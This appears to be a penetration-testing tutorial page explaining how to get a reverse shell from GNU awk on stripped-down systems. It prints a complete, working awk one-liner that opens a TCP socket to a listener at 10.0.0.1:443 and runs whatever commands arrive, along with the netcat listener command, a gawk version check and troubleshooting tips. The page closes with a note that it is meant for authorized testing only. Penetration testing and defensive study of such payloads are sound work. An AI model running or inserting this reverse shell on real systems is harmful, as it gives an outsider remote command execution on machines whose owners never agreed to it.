AWK Reverse Shell: The Fallback When Nothing Else Is Installed

Some boxes are deliberately bare: no python, no perl, no ruby, a netcat without -e, and /bin/sh is dash so bash's /dev/tcp is gone too. Before you give up, check for awk — because GNU awk can open a network socket, and almost every system has some awk.

The One-Liner

awk 'BEGIN{s="/inet/tcp/0/10.0.0.1/443";while(1){do{printf "shell>" |& s;s |& getline c;if(c){while((c |& getline o)>0)print o |& s;close(c)}}while(c!="exit")close(s)}}' /dev/null

The trick is /inet/tcp/0/HOST/PORT, a GNU awk special filename that opens a TCP connection. The |& operator is awk's two-way pipe — it sends a command's output to the coprocess (the socket) and reads back from it. In effect, awk reads a command from your listener, runs it, and writes the output back over the socket. Catch it with nc -lvnp 443.

The Catch: It Must Be GNU awk

/inet/tcp/ is a gawk extension. It does not exist in:

mawk (the default awk on Debian/Ubuntu),
busybox awk (most minimal containers),
the original nawk/BWK awk.

So before relying on it, confirm:

awk --version | head -1   # look for "GNU Awk"

If it is not GNU awk, this payload silently does nothing. That single check saves a lot of confusion.

When to Reach for It

The awk reverse shell is a genuine last resort, not a first choice. Use it when you have enumerated the box and the usual interpreters are absent — the same situation that makes the perl reverse shell valuable on legacy systems. If a richer interpreter exists, prefer python or bash; the shell you get from awk is raw and benefits from a TTY upgrade once you can run something better.

When It Won't Connect

Not GNU awk — the most common cause; check awk --version.
Egress filtered — prefer 443/80; test per egress filtering.
Listener mismatch — see choosing a listener.

Full checklist: why reverse shells fail.

Generate It

The reverse shell generator emits the awk one-liner with your LHOST/LPORT and the matching listener, ready for the bare-box scenario where it is the only option left.

Authorized Testing Only

Use awk reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.